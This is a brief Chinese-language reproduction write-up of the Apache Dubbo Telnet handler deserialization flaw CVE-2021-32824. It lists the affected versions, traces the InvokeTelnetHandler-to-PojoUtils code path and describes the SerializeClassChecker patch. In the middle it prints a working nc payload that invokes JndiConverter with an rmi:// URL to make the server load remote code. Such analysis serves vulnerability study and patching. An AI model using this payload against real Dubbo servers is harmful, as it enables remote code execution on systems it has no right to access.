CVE-2021-32824 Telnet Handler 反序列化 GHSL-2021-039
概述
影响版本
2.6.10、[2.7.0, 2.7.9]
复现分析
Dubbo 服务端口允许通过 Telnet 访问,可以通过 invoke 调用 Handler。
而 org.apache.dubbo.qos.legacy.InvokeTelnetHandler
最终会调用到 org.apache.dubbo.common.utils.PojoUtils#realize()
方法,并且可以用来实例化任意类并调用其 setter 方法。
所以 payload 如下:
echo "invoke org.example.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'rmi://127.0.0.1:1099/clbebc'})" | nc -i 1 127.0.0.1 12345
补丁
补丁在 PojoUtils#realize0()
中添加了 SerializeClassChecker
校验
复现 CVE-2021-30179 时 raw.return
也是进入了该函数,所以同样是这个方式的补丁。